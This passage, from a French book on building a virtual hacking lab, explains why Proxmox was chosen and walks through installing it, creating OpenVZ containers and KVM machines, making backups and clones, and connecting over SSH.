Hacking - Un labo virtuel pour auditer et
mettre en place des contre-mesures
Informations générales
Ce livre s'adresse à toute personne souhaitant s'initier ou se perfectionner dans le domaine de
la sécurité informatique, et donc du hacking, et désireuse de faire un point sur ses
compétences.
Quand une entreprise, un particulier, une association souhaite mettre en place un système
d'information, comment vérifier, avant la mise en production, qu'il n'existe pas de faille de
sécurité ? Comment tester si les protections mises en place sont efficaces ? Ce livre est conçu
pour répondre à ces attentes en guidant le lecteur dans la conception d'un laboratoire
virtualisé complet dans lequel de nombreux services seront implémentés.
Après cette première phase de création, votre laboratoire virtualisé accueillera votre système
d'information et vous pourrez alors attaquer celui-ci afin d'en détecter les failles. Pour
vous entraîner à cette phase d'attaque, les auteurs vous proposent de mettre en place dans le
laboratoire un ensemble d'éléments faillibles. Ceux-ci sont présentés sous forme d'un
challenge de sécurité dédié à l'entraînement. Vous pourrez ainsi vérifier vos compétences et
évaluer la qualité des outils d'audit que vous souhaitez utiliser. Les auteurs ont cherché à
couvrir le domaine le plus large possible avec un coût très raisonnable en investissement
matériel. Ainsi, vous serez confrontés à des failles applicatives, des failles Web, des failles
systèmes, etc. Une correction des différentes épreuves vous est proposée.
Pour terminer, les solutions pour se protéger et mettre en place les contre-mesures adaptées
sont présentées.
Les chapitres du livre : Introduction – Proxmox – Machines virtuelles et services – Mise en place des épreuves –
Plateformes d'entraînement – Le matériel indispensable – Sécurisation du PC
Introduction
La sécurité informatique est un domaine particulier qui ne peut pas être abordé de la même
façon que les autres domaines de l’informatique. Elle ne fait pas l’objet de cours académiques
comme ceux que nous pouvons suivre à l’Université. C’est pour cette raison que les plus
grands hackers ont rarement un cursus universitaire, car il faut regarder les choses autrement.
Pour trouver une faille de sécurité, il n’est pas nécessaire de tout connaître sur tous les
systèmes et tous les langages, ce qui est impossible, il faut juste être capable de voir ce que les
autres ne voient pas.
L’objectif de cet ouvrage est d’apprendre à concevoir un petit laboratoire permettant de
s’entraîner à l’audit des systèmes d’information et de tester des solutions logicielles ainsi que
quelques éléments matériels.
La lecture de ce livre nécessite certaines connaissances en informatique. Le lecteur doit avoir
des notions sur les langages assembleur, PHP et C, ainsi que sur les bases de données et les
réseaux. Sans être un expert de chaque domaine, la compréhension de l’ouvrage sera plus
aisée si le lecteur dispose de ces bases. Ces connaissances sont indispensables pour aborder le
« hacking » mais elles peuvent être acquises au fil de l’eau. Par exemple, lorsque nous
parlerons de « BoF » (buffer overflow), le lecteur constatera que des notions d’assembleur
sont indispensables. Il pourra alors consulter en parallèle de cet ouvrage un livre sur
l’assembleur lui permettant d’appréhender les points traités.
Nous rencontrons dans nos différents audits de sécurité des failles extrêmement basiques car
le programmeur, bien que connaissant parfaitement le langage qu’il utilise, n’a pas la pensée
"programmation sécurisée". Voyons comment nous allons pouvoir progresser dans la
sécurisation de systèmes en construisant ce laboratoire.
Dans la première partie de l’ouvrage, nous verrons comment installer une multitude de
services et de systèmes à moindres frais et en optimisant le temps passé à cette installation.
Nous souhaitons avoir un ensemble souple, modulable à souhait et simple d’utilisation. La
virtualisation semble donc le meilleur choix, mais laquelle retenir parmi toutes les solutions
proposées ? Nous expliquerons pourquoi nous avons opté pour la mise en œuvre d’un serveur
Proxmox. Nous passerons à l’installation de celui-ci et détaillerons les principales commandes
qui permettent de piloter les machines virtuelles. Nous passerons ensuite à l’installation d’une
multitude de services afin de reproduire un petit réseau d’entreprise. Ces services tourneront
sous OpenVZ. Nous aborderons alors la mise en place de failles de sécurité permettant
d’évaluer vos compétences en test de pénétration de systèmes ainsi que des logiciels d’audit
automatisés. OpenVZ ne permettant d’émuler que des systèmes Linux, il sera temps de passer
à la virtualisation de machines Windows avec KVM qui est aussi supporté par Proxmox. Nous
traiterons l’audit de systèmes Windows et présenterons deux plates-formes d’entraînement à
la recherche de failles. Nous terminerons en abordant les problématiques de sécurité plus
« physique » mettant en œuvre des matériels spécifiques comme les lecteurs de cartes à puce,
les lecteurs RFID, etc.
Enfin, nous conclurons avec la sécurisation des systèmes Windows et Linux afin de nous
prémunir d’un maximum d’attaques.
Proxmox
Présentation
Pour concevoir un laboratoire de test principalement orienté systèmes et services, il existe
deux méthodes principales : soit acheter autant de machines physiques que de systèmes à
installer, soit installer les systèmes dans un environnement virtualisé sur une même machine
physique présentant de bonnes performances. La deuxième solution présente deux avantages :
réduire le coût et accroître la souplesse et la rapidité d’installation. Le seul bémol est que cette
solution reste une virtualisation et qu’il peut arriver qu’un comportement se produise sur un
environnement réel et pas dans un environnement virtualisé. Mais cela reste à la marge et les
avantages que fournit la virtualisation sont tels que nous avons retenu cette solution.
Il existe actuellement plusieurs méthodes de virtualisation. Nous allons décrire succinctement
chacune d’elles et argumenter notre choix dans le cadre de l’application que nous souhaitons
réaliser.
La virtualisation certainement la plus connue du grand public consiste en une émulation
complète du matériel. Cette technique permet d’accueillir pratiquement tous les systèmes
d’exploitation car ceux-ci n’ont pas « conscience » d’être dans un environnement virtualisé.
Elle a comme avantage de permettre de tester les logiciels et services dans une situation très
proche de la réalité lorsque ceux-ci seront mis en production sur de vrais serveurs. Son
principal défaut est qu’elle est très gourmande en ressources car il faut pour chaque
système émuler tout le matériel et faire « tourner » un nouveau noyau. Nous pouvons citer des
solutions comme VirtualBox ou QEMU, qui existent en version libre, ou encore VMware
comme solution payante avec néanmoins un « player » gratuit. Celui-ci offre un avantage
certain en limitant la consommation des ressources du système accueillant la machine
virtuelle par l’utilisation d’un noyau, que nous dirons intermédiaire, le VMKernel. Un autre
inconvénient de la virtualisation totale est qu’il est impossible de modifier en dynamique la
taille du disque dur ou la quantité de mémoire RAM allouée. Seuls quelques éléments comme
le comportement des cartes réseau peuvent être changés en fonctionnement.
La deuxième solution de virtualisation est l’utilisation de Xen. Celle-ci offre de très bonnes
performances et peut fonctionner suivant différents modes selon le système d’exploitation à
mettre en place. Elle permet la mise en œuvre de pilotes matériels virtuels mais aussi un accès
direct aux périphériques. Un avantage non négligeable est que les systèmes sont bien isolés
entre eux, offrant ainsi une bonne sécurité. C’est pour cette raison que beaucoup d’entreprises
retiennent cette solution. Néanmoins, pour tirer pleinement profit de Xen, il est préférable
d’installer des systèmes modifiés spécialement dédiés à Xen. On parle alors de
paravirtualisation utilisée au travers d’un d’hyperviseur. La mise en place de Xen est plus
complexe que les autres solutions et offre moins de souplesse. Bien que ce soit une excellente
solution que nous conseillons vivement pour la mise en œuvre de serveurs en production,
nous estimons qu’il nous fallait quelque chose de plus souple pour notre laboratoire.
La dernière solution que nous présentons est OpenVZ, qui offre une virtualisation au niveau
système d’exploitation. Celle-ci offre une très grande souplesse comme le changement de la
quantité de mémoire RAM, le nombre de processeurs ou encore la taille des disques en
dynamique, sans arrêter les services. De plus, elle n’occasionne une perte que de quelques
pour-cent de performance par rapport aux autres solutions présentées, qui elles, sont plus
gourmandes en ressources. Tout cela est rendu possible par l’utilisation d’un noyau Linux
modifié. Les environnements virtuels (VE) tournent tous avec le même noyau qui est capable
de créer plusieurs instances du système totalement isolées les unes des autres. Bien entendu,
ceci occasionne une restriction forte au niveau des systèmes d’exploitation qui peuvent être
virtualisés, car ils doivent nécessairement être des systèmes Linux. Par contre, leur installation
ne prend que quelques secondes de par le mécanisme mis en jeu. C’est donc cette solution que
nous retiendrons pour la virtualisation des environnements Linux afin de faire tourner les
divers services dont nous avons besoin (Apache, MySQL, DHCP, FTP, etc.).
Avec le choix énoncé précédemment, nous ne pouvons pas faire tourner des systèmes
Windows, ce qui est inacceptable pour un laboratoire de test. Il faut donc retenir une autre
solution. QEMU offre de bonnes performances et, chose très intéressante, il en existe un clone
nommé KVM qui est de plus intégré dans une solution proposant OpenVZ : Proxmox.
Proxmox est une solution complète pour la virtualisation intégrant OpenVZ et KVM ainsi
qu’une interface de gestion tournant dans un navigateur. Le tout est téléchargeable sous forme
d’une ISO incluant un installateur déployant un système Linux avec un noyau modifié pour
OpenVZ, un environnement KVM, un serveur Apache, etc.
Installation
La première étape consiste à récupérer une image ISO du CD-ROM d’installation disponible
sur le site www.proxmox.com à cette adresse :
http://www.proxmox.com/downloads/category/iso-images-pve
À l’heure où ces pages sont écrites, c’est la version 2.2 de Proxmox VE qui est disponible.
Nous la téléchargeons et gravons un CD-ROM afin de procéder à l’installation. Proxmox peut
être installé sur des machines ne présentant pas forcément des performances extraordinaires.
Mais comme nous comptons mettre en œuvre une dizaine de machines virtuelles, il faut quand
même un minimum de ressources. L’environnement minimum que nous vous conseillons est
le suivant :
Un processeur 64 bits, de préférence un i5 ou un i7.
Une mémoire RAM de 4 Go.
Un disque dur de 500 Go.
Bien entendu, vous pouvez prendre beaucoup plus suivant votre budget et vos objectifs car
Proxmox est capable de gérer 64 processeurs et 64 Go de RAM.
Entrons dans le vif du sujet en passant à l’installation. Après avoir démarré sur le CD-ROM,
nous sommes face à l’écran ci-après proposant des options de démarrage éventuelles. Ici, nous
nous contentons d’appuyer sur [Entrée].
Nous acceptons ensuite les termes de la licence.
Nous vérifions que l’installation va se faire sur le bon disque. Celui-ci est indiqué en bas de
l’écran, puis nous passons à la suite. Vient alors le choix de la langue, du fuseau horaire et du
clavier.
L’étape suivante est importante puisqu’elle va définir un mot de passe pour l’administrateur
du serveur. Celui-ci doit être suffisamment robuste car il donnera accès à toutes les machines
virtuelles. Il faudra aussi renseigner un e-mail valide.
Nous arrivons alors à la configuration du réseau. Si vous êtes en DHCP, Proxmox utilise
automatiquement la configuration qui lui est fournie par le DHCP, sinon il faudra
soigneusement renseigner celle-ci.
Tous les renseignements nécessaires à l’installation sont donnés. Le passage à la prochaine
étape entraine l’installation proprement dite du serveur.
Si tout se déroule bien, nous arrivons après quelques minutes à l’écran final de l’installation
qui nous propose de redémarrer notre serveur.
Nous constatons au redémarrage que nous avons bien un noyau modifié pour Proxmox.
Une fois le serveur complètement démarré, nous constatons que nous ne disposons pas
d’environnement graphique, ce qui est normal. Nous avons alors deux solutions pour
administrer notre serveur : soit nous identifier en tant qu’utilisateur « root » et gérer les
machines virtuelles à l’aide de la ligne de commande, soit nous connecter sur le serveur à
l’aide d’un navigateur comme suggéré sur l’écran d’accueil.
Nous retiendrons cette deuxième solution dans un premier temps avant de nous lancer dans la
ligne de commande.
Configuration
1. Présentation de l’interface
Prenons donc notre navigateur préféré et connectons-nous à l’adresse indiquée. Utilisez
l’adresse correspondant à votre situation. Cette adresse n’est accessible qu’en HTTPS et nous
devons accepter le certificat car celui-ci est autosigné. Nous sommes alors face à la fenêtre
d’identification. Nous choisissons la langue souhaitée et nous identifions en tant qu’utilisateur
root.
Notre navigateur affiche normalement l’écran suivant.
En haut à gauche, nous trouvons une liste déroulante permettant de visualiser le serveur de
trois façons différentes :
serveur
dossier
stockage
En dessous, nous visualisons la représentation demandée. La partie centrale présente un grand
nombre d’onglets. Ceux-ci changent en fonction de la sélection que nous faisons dans
l’arborescence du serveur.
La partie inférieure présente les tâches réalisées et celles en cours dans le premier onglet. Le
second onglet nous renseignera sur les logs du serveur.
L’objet de cet ouvrage n’est pas un cours Proxmox. Nous vous invitons donc à vous reporter à
la documentation en ligne si vous souhaitez aller plus loin. Vous pouvez la trouver à cette
adresse : http://pve.proxmox.com/wiki/Main_Page
Nous allons ici décrire néanmoins tout ce qui est nécessaire à la réalisation de notre
laboratoire. Après ce chapitre, vous saurez déjà utiliser un grand nombre de fonctionnalités de
Proxmox.
2. Les conteneurs OpenVZ
Passons à la pratique en créant notre première machine virtuelle. Nous découvrions ainsi les
différentes fonctionnalités du Proxmox au fur et à mesure. Comme nous l’avons expliqué lors
de la présentation des différentes méthodes de virtualisation, le serveur Proxmox propose une
virtualisation avec OpenVZ, ce qui sera appelé un conteneur (CT) et une virtualisation
complète avec KVM qui sera appelée machine virtuelle (VM).
Nous allons commencer par créer un conteneur. Mais avant, il est nécessaire de charger des
modèles qui seront utilisés pour sa création. Dans la vue serveur nous cliquons sur le [+] et
sélectionnons la branche local (proxmox). Nous visualisons sur la partie centrale un résumé
de l’état de l’espace disque dont nous disposons sur notre serveur. Nous passons à l’onglet
Contenu et constatons que nous ne disposons pour le moment d’aucun modèle.Pour en
charger un, il faut cliquer sur Modèles. Nous sommes alors face à une liste de modèles
disponibles.
Nous voyons qu’il existe quelques systèmes d’exploitation possibles mais surtout, une
multitude de services et autres CMS prêts à l’emploi comme LAMP, Drupal, Symfony, etc.
Commençons par un système simple et choisissions une Debian-6.0. Nous sélectionnons
l’item correspondant dans la liste et cliquons sur Télécharger.
Dans l’arborescence de gauche, si nous nous rendons sur le disque local du Proxmox et que
nous sélectionnons l’onglet Contenu du volet de droite, nous visualisons bien l’image que
nous venons de télécharger.
Il est possible de récupérer d’autres modèles sur d’autres sources et aussi de créer ses propres
modèles. Un exemple de source : http://openvz.org/Download/template/precreated
Pour ce qui est de la création de ses propres modèles, ce n’est pas le sujet de ce livre, mais
vous pouvez vous reporter à l’exemple de création d’un modèle en suivant ce lien :
http://www.webstrat.fr/blog/web-technology/creer-un-template-de-machine-virtuelle-sous-
openvz
Maintenant que nous disposons d’un modèle, il faut créer le conteneur. Commençons par
cliquer en haut à droite sur le bouton Créer CT. Nous sommes alors face à l’écran ci-après.
Le premier champ permet de spécifier le nœud ; ici, il n’y en a qu’un. Ces nœuds permettent
de mettre des serveurs Promox en « cluster ». Ceci permet une haute disponibilité des services
avec une gestion de machines virtuelles réparties sur plusieurs serveurs physiques. Ce n’est
pas notre cas ici et nous travaillerons toujours avec un seul nœud. Par contre, cette possibilité
est souvent utilisée par les prestataires proposant des services à haute disponibilité. Il faut
ensuite indiquer un numéro unique pour chaque machine, ce sera son ID. Il est
automatiquement incrémenté, mais nous pouvons y mettre ce que nous voulons. Laissons la
valeur 100 par défaut. Vient ensuite le nom de la machine, par exemple « WEB1 ». Nous
n’avons pas constitué de pool de ressources, ce champ restera donc vide. Nous gardons aussi
le champ stockage sur local, car nous n’avons déclaré qu’une zone de stockage disponible
pour le moment. Reste le mot de passe à saisir et nous pouvons cliquer sur Suivant.
Nous devons choisir ensuite le modèle avec lequel nous souhaitons créer notre conteneur. Ici,
nous n’en trouvons qu’un seul car nous n’en avons téléchargé qu’un. Une fois celui-ci
sélectionné, passons à l’étape suivante.
Cette étape nous permet de configurer les ressources de la machine virtuelle. Il faudra ajuster
celles-ci en fonction de ce que nous souhaitons faire avec le conteneur (CT). Par exemple,
pour un petit serveur web, nous pouvons garder les réglages par défaut. Il sera toujours
possible de revenir par la suite sur la mémoire allouée, ou l’espace disque et même sans
arrêter les services. C’est un gros avantage d’OpenVZ. Passons à la configuration du réseau
en cliquant sur Suivant.
Nous constatons que nous avons deux possibilités pour configurer l’interface réseau de la
machine virtuelle. Le mode « venet » ou « mode routé ». Dans ce cas, c’est le serveur
OpenVZ qui administre complètement l’interface en lui attribuant une IP qui sera routée par
le noyau Linux. L’interface n’a donc pas sa propre adresse MAC, et ne peut pas faire de «
broadcast » dans le conteneur. Par contre, la sécurité est renforcée car OpenVZ contrôle tout
le trafic qui remonte à la machine virtuelle. De plus, ce mode présente des performances
supérieures. Tout ceci est parfait pour fournir un service classique, mais ici notre but est de
reproduire de la façon la plus fidèle possible le comportement d’une machine réelle. Dans ce
cas, il est préférable d’utiliser le mode « Bridged » (pont). La machine virtuelle se comporte
alors comme si elle possédait sa propre carte réseau, elle dispose d’une adresse MAC et peut
faire du « broadcast », et par conséquent, la sécurité doit être gérée par le système installé
dans le conteneur. Nous choisirons ce mode. Voici un petit tableau qui résume les deux modes
exposés.
Le mode
Veth
correspond à un accès par pont que nous privilégions ici.
Plus que quelques éléments à configurer et notre machine sera prête ; cliquons sur Suivant.
Propriété Veth
(Virtual ETHernet)
Venet
(Virtual NETwork)
Dispose d’une adresse MAC Oui Non
Peut faire du broadcast Oui Non
Peut capturer le trafic réseau Oui Non
Sécurité du réseau Basse Élevée
Peut être utilisée dans un pont Oui Non
Supporte l’IPv6 Oui Oui
Performances Rapide Très rapide
Il n’est pas nécessaire de configurer ici un serveur DNS, nous le ferons dans la machine
virtuelle. Passons à la dernière étape.
Nous sommes alors face à un écran qui résume l’ensemble des paramètres que nous venons de
configurer. Après une relecture de ceux-ci pour vérification, nous pouvons lancer la création
de la machine en cliquant sur Terminé. Après quelques secondes, nous visualisons la
confirmation de la création de la machine.
Notre conteneur apparaît dans l’arborescence du Proxmox sur la partie gauche de l’écran. Si
nous cliquons dessus, l’écran de droite affiche un résumé de son statut.
Nous voyons que la machine est pour le moment stoppée. Les différents onglets nous
permettent de visualiser les ressources occupées, le mode réseau, etc. Lorsque la machine est
sélectionnée, un clic sur Démarrer permet de lancer celle-ci. Nous voyons en bas de l’écran
les enregistrements des opérations que nous faisons. Une fois la machine démarrée, nous
pouvons obtenir une console sur celle-ci en cliquant sur Console en haut à droite de l’écran.
Comme le serveur Proxmox a été installé avec un serveur Apache proposant une connexion
HTTPS qui dispose d’un certificat autosigné, et que celui-ci a besoin de démarrer une applet
Java pour émuler une console sur la machine virtuelle, notre navigateur nous demande tout
naturellement une confirmation avant de lancer le code Java.
Deux confirmations seront demandées. Nous confirmons le lancement en cliquant sur Run.
Nous sommes alors face à la console ci-après.
Nous pouvons nous identifier en tant qu’utilisateur « root » avec le mot de passe que nous
avons saisi lors de la création de la machine virtuelle. Cette navigation via une application
Java n’est pas des plus confortables et nous verrons qu’il est préférable de travailler en
connexion SSH, directement sur le serveur quand cela est possible.
Nous en avons fini pour le moment avec l’installation de machines en OpenVZ. Nous
configurerons dans le chapitre suivant tous les services nécessaires à notre laboratoire de
hacking dans ce type de machines virtuelles.
3. Travailler avec une ISO et KVM
Comme nous l’avons expliqué, les machines OpenVZ ne peuvent émuler que des systèmes
Linux. Il faut donc passer par KVM pour installer un système Windows. Avant de commencer
l’installation, il faut dans un premier temps fournir à notre serveur Proxmox une image d’un
CD-ROM d’installation. Il est toujours possible d’utiliser le CD-ROM de la machine qui
héberge le serveur Proxmox mais ce n’est pas des plus commodes quand le serveur est distant.
C’est pour cette raison que nous préférons ici l’utilisation d’une image ISO. La première étape
consiste à déposer l’image ISO du CD-ROM sur le serveur. Pour cela, il faut sélectionner le
disque local dans l’arborescence du serveur à gauche puis se rendre dans l’onglet Contenu.
Nous voyons deux choix apparaître dans le menu de cet onglet : Modèle et Upload. En
cliquant sur Upload, le serveur nous ouvre une boîte de dialogue nous demandant d’indiquer
où se trouve l’image que nous souhaitons déposer.
Nous choisissons l’image dont nous disposons. Si vous n’avez à votre disposition que le CD-
ROM original de Windows, il est toujours possible d’en faire une image avec k3b par
exemple. Mais ce n’est pas le sujet de ce livre. Nous poursuivrons le dépôt en cliquant sur
Upload.
L’image de notre CD-ROM remonte sur le serveur. La durée de cette opération peut être
variable suivant la rapidité de votre connexion. Une fois l’opération terminée, nous
visualisons deux éléments dans Contenu : l’image ISO que nous venons de déposer et le
modèle de la Debian.
Nous pouvons passer à la création d’une machine KVM en cliquant sur Créer VM en haut à
droite de l’écran. Le premier onglet de la boîte de dialogue qui nous est proposée ressemble
fortement à celui de la création de conteneur, mais ici, aucun mot de passe n’est nécessaire.
Nous changeons l’ID de la machine en 500 et choisissons Win1 comme nom de VM. Nous
passons à l’étape suivante. Il peut être intéressant d’organiser les ID de machines en fonction
du système d’exploitation installé. Par exemple, 1xx pour les Linux, 5xx pour les Windows.
Dans cette étape, il faut choisir le type de système d’exploitation que nous voulons installer.
Nous voyons qu’il est aussi possible d’installer des systèmes Linux, ce qui semble normal.
Mais cette fois, le noyau du système appartiendrait entièrement à la machine virtuelle et ne
serait pas partagé avec Proxmox. Dans notre cas, nous choisissons Windows XP/2003 et
passons à l’étape suivante.
C’est là que l’image du CD-ROM que nous avons déposée va nous être très utile. Il suffit
juste de la sélectionner pour simuler son insertion dans le lecteur de la machine virtuelle.
Nous pouvons poursuivre et passer à l’étape de configuration du disque dur.
Le disque dur de la machine est en réalité un fichier. Nous pouvons choisir la façon dont il
sera vu dans la machine virtuelle (IDE, SATA, etc.), sa taille et le type d’image disque (raw,
QEMU, VMware). Nous conservons les réglages proposés par défaut, sauf la taille que nous
choisissons de réduire un peu. Tout ceci dépend de ce que vous souhaitez faire avec votre
machine virtuelle.
L’étape suivante nous permet de choisir le microprocesseur que nous voulons émuler pour
notre machine. En réalité, nous allons pouvoir faire fonctionner un Windows 32bits sur un
qemu64. Ce paramètre n’est qu’un indicateur pour notre émulation. Nous n’entrerons pas
dans les détails techniques du choix du CPU, ce qui nous emmènerait trop loin, mais vous
pouvez approfondir vos connaissances à ce sujet en lisant quelques discussions intéressantes :
http://rwmj.wordpress.com/2010/10/08/32-or-64-bit-virtual-cpu-in-kvm/
https://www.berrange.com/posts/2010/02/15/guest-cpu-model-configuration-in-libvirt-with-
qemukvm/
Gardons les réglages par défaut et passons à l’étape suivante.
Cette étape nous permet de régler la quantité de mémoire que nous attribuons à la machine
virtuelle. Attention à ne pas trop attribuer de mémoire à une multitude de machines qui vont
finir par occuper toute la mémoire de notre serveur et le faire fortement ralentir. Nous
conservons donc les 512 Mo proposés et passons à l’étape suivante, la configuration du
réseau.
Nous disposons de plus d’options que dans le cas des conteneurs. Le premier choix se fait
entre Bridged, NAT et No Network. Dans le premier cas, tout se passe comme si la carte
réseau de notre machine virtuelle était directement connectée au réseau physique sur lequel se
trouve le serveur. La deuxième possibilité est la translation d’adresse. Dans ce cas, il y a un
routage entre l’interface réseau de la machine virtuelle et le réseau physique. Le dernier choix
est sans intérêt puisqu’il prive notre VM de toute interface réseau. Comme dans le cas de la
machine Debian, nous choisissons le mode Bridged pour que notre laboratoire virtuel se
rapproche le plus possible de machines réelles et que celles-ci soient vues sur le réseau
comme telles. Sur la partie droite de la boîte de dialogue qui nous est proposée, nous pouvons
sélectionner le type de carte réseau émulée, choisir éventuellement une adresse MAC pour
celle-ci et limiter sa bande passante si nécessaire. Nous conservons les réglages par défaut,
qui se prêtent bien à ce que nous souhaitons faire.
La dernière étape nous permet de relire l’ensemble des paramètres réglés pour cette machine
et de les confirmer si tout nous semble correct. C’est ce que nous faisons.
En cliquant sur Terminé nous constatons que la machine est immédiatement créée,
contrairement à la création de conteneur qui avait nécessité quelques secondes. C’est normal
car ici, aucun système n’est encore installé sur la machine. C’est juste une boîte vide pour le
moment.
Pour procéder à l’installation de la machine, il faut la démarrer. Pour cela, nous visualisons la
liste des machines disponibles dans l’arborescence de notre serveur, sélectionnons la machine
500 et cliquons sur Démarrer. Une fois la machine démarrée, nous pouvons demander une
console. Nous pouvons alors installer notre Windows comme nous le faisons habituellement.
Voilà, nous avons à présent deux machines virtuelles installées, une dans un conteneur sous
OpenVZ et une autre avec KVM, tout ceci dans la même interface.
4. Effectuer des sauvegardes
Créer des machines virtuelles, c’est bien, mais quand nous aurons passé beaucoup de temps à
configurer des services et failles de sécurité afin de s’entrainer à l’audit, nous souhaiterons ne
pas avoir à refaire tout ce travail si une machine vient à être altérée par une attaque. Il est
donc intéressant de pouvoir sauvegarder, restaurer et dupliquer nos VM.
Pour la sauvegarde d’une machine virtuelle, il existe plusieurs solutions et plusieurs modes.
Proxmox est en effet pensé pour créer des services à haute disponibilité et permet donc
d’effectuer des sauvegardes tout en maintenant le service actif. Ce n’est pas pour rien que de
grosses entreprises proposant de l’hébergement ont retenu cette solution.
Avant d’effectuer toute sauvegarde, il est nécessaire de configurer notre serveur Proxmox
pour lui définir un emplacement où enregistrer les images. Pour cela, plaçons-nous tout en
haut de l’arborescence sur Centre de données et rendons-nous dans l’onglet Stockage. Nous
visualisons un seul stockage disponible, local, qui est utilisé pour les machines virtuelles
présentes mais pas pour leur sauvegarde.
Nous allons déclarer à Proxmox un dossier pour la sauvegarde des VM. Dans le menu
Ajouter nous disposons de quatre options :
Directory
LVM Group
NFS Share
iSCSI target
Comme nous sommes partis du principe que nous n’avions qu’un disque pour le moment,
nous allons choisir d’indiquer un lieu de sauvegarde sous la forme d’un dossier. Nous
choisissons Directory.
Lors de l’installation du serveur, le système de partitionnement a attribué la plus grande partie
du disque dur à une partition montée dans le dossier /var/lib/vz. C’est donc dans cette zone
que nous allons déclarer l’emplacement des sauvegardes. Nous nommons celle-ci « Dump »
et précisons le chemin complet dans Répertoire. Le contenu est exclusivement réservé à la
sauvegarde, nous choisissons alors uniquement Backups dans le menu Contenu. Les autres
options sont laissées aux valeurs par défaut.
Nous visualisons bien deux déclarations de stockage et voyons apparaître « dump » dans
l’arborescence du serveur Proxmox à gauche. Voilà, nous sommes prêts à effectuer la
sauvegarde d’une machine.
Sélectionnons la VM Debian d’ID 100 dans l’arborescence du Proxmox et rendons-nous dans
l’onglet Sauvegarde du panneau de droite.
Nous voyons un menu disposant d’une option Backup now. Cliquons dessus. Nous sommes
face à la boîte de dialogue intitulée Sauvegarde CT 100.
Plusieurs options nous sont ici proposées, parmi lesquelles l’emplacement où sera
sauvegardée l’image de notre machine. Comme nous n’avons déclaré qu’un seul emplacement
dédié aux sauvegardes, celui-ci est mis par défaut. Vient ensuite le mode. Il en existe trois :
Snapshot : qui permet de faire une image de la machine sans suspendre les services de
celle-ci. Tout au plus, l’impact de ce mode sur les VM sera de les ralentir.
Suspend : qui effectue la sauvegarde de la machine en suspendant temporairement les
services.
Stop : qui arrête la machine pour en effectuer la sauvegarde.
Nous ne sommes pas ici dans le cas d’un maintien de service absolument obligatoire puisque
nous sommes dans un laboratoire. Dans ce cas, il est préférable d’utiliser le mode Stop, qui est
celui préconisé si on a le choix.
Enfin, il reste à déterminer le mode de compression de l’image. De même, nous ne sommes
pas à quelques secondes près et une archive gzip nous permettra d’économiser de l’espace
disque. Les options étant réglées, il ne reste plus qu’à cliquer sur Sauvegarde.
Le temps nécessaire pour effectuer la sauvegarde dépend beaucoup de la puissance de votre
serveur, de la rapidité de son disque dur et évidemment de la taille de la machine à
sauvegarder. Mais cela reste généralement très rapide.
Nous remarquons qu’en rafraîchissant la page de notre navigateur, nous voyons apparaître la
sauvegarde que nous venons d’effectuer dans la zone de droite.
Il est alors possible à présent de restaurer la machine. Celle-ci se retrouvera exactement dans
l’état dans lequel elle se trouvait au moment de sa sauvegarde.
Il est vraiment intéressant de sauvegarder des machines, mais il peut aussi être très utile de
dupliquer des machines, c’est-à-dire de les cloner. Pour cela, rien de plus simple. Il faut
commencer par créer un conteneur et peu importe son contenu. Créons par exemple une VM
qui présente les caractéristiques suivantes :
Nom : WEB2
Mémoire RAM : 512 Mo
Disque dur : 1 Go
Une interface réseau en Bridge
Pour cloner la machine WEB1 dans la machine WEB2, il suffit de sélectionner la machine
WEB2 dans l’arborescence du serveur, de se rendre dans l’onglet Sauvegarde, de
sélectionner notre sauvegarde de la machine WEB1 et de cliquer sur Restaurer.
La boîte de dialogue qui se présente devant nous nous indique bien que nous allons restaurer
la machine d’ID 102 avec l’image vzdump-openvz-100-xxxx.tar.gz. Lorsque nous cliquons
sur Restaurer, un avertissement nous prévient que cela aura pour effet de détruire toutes les
données de la machine cible restaurée. Confirmons la restauration. Si l’opération s’est
correctement déroulée, nous devons voir apparaître le résumé ci-après.
En allant voir dans l’onglet Ressources de chaque machine, nous constatons que la VM d’ID
102 possède à présent un disque de 4 Go, comme la VM d’ID 100, le clonage ayant reproduit
à l’identique la VM d’ID 100. La duplication exactement à l’identique d’une VM va nous
poser un problème au niveau de la carte réseau. En effet, si nous visualisons l’onglet Réseau
de chaque machine, nous constatons qu’elles ont la même adresse MAC et qu’elles sont
connectées sur le même pont (vmbr0) avec le même « Host device name : veth100:0 » qui lui
aussi présente la même adresse MAC. Pour éviter tout problème, le mieux est de changer les
adresses MAC et de créer une nouvelle interface réseau, voire de détruire l’interface réseau et
de la recréer.
Nous avons à présent sauvegardé, restauré et cloné des machines. Ceci est très utile lorsqu’on
travaille sur des tests d’intrusion.
5. Les commandes de base
a. Administrer autrement Proxmox
Jusqu’à présent nous avons utilisé l’interface web pour l’administration de notre serveur.
Comme celui-ci tourne dans un environnement Linux, il est tout à fait possible d’utiliser une
connexion SSH pour accéder au serveur. Si vous êtes sous Windows, je vous conseille
d’utiliser Putty, qui est un logiciel libre et permet des connexions de toutes sortes, Telnet,
SSH, Série, etc. Vous pouvez télécharger ce logiciel à l’adresse suivante :
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
Il n’y a même pas d’installation à faire, juste à lancer l’exécutable. Nous nous plaçons dans la
catégorie Session et saisissons l’IP de notre serveur. Nous pouvons même sauvegarder cette
configuration avec Save.
Cliquons sur Open et acceptons la clé qui nous est fournie. Celle-ci sera mémorisée et cette
confirmation ne nous sera plus demandée à la prochaine connexion.
Nous saisissions l’identifiant root et son mot de passe. Nous avons alors une console ouverte
sur le serveur.
Si vous êtes sous Linux, pas de problème, la commande ssh est native sur le système. Un
simple :
dans une console, en remplaçant évidemment l’IP indiquée par l’IP de votre serveur, nous
permet d’obtenir une invite de commande sur le serveur. Il est aussi possible d’améliorer la
sécurité de la connexion en faisant un échange préalable de clés entre les clients autorisés à se
connecter et le serveur.
Dans la section suivante, nous partons du principe que nous avons établi une connexion SSH
entre le serveur et que nous sommes face à l’invite de commande de celui-ci.
b. Petit tour dans l’arborescence de Proxmox
Avant de se lancer dans la gestion des machines en ligne de commande, il est intéressant de
regarder comment le disque est organisé par Proxmox.
La partition la plus grande du disque se trouve montée dans /var/lib/vz. C’est à cet endroit que
nous allons trouver nos machines. Entrons dans ce dossier et regardons son contenu, puis
celui du sous-dossier private.
root@proxmox:~# cd /var/lib/vz
root@proxmox:/var/lib/vz# ls -l
total 44
drwxr-xr-x 3 root root 4096 Apr 1 09:48 dump
drwxr-xr-x 4 root root 4096 Apr 4 08:52 images
drwxr-xr-x 2 root root 4096 Apr 4 05:38 lock
drwx------ 2 root root 16384 Jan 2 12:01 lost+found
drwxr-xr-x 5 root root 4096 Apr 3 11:34 private
drwxr-xr-x 5 root root 4096 Apr 3 11:34 root
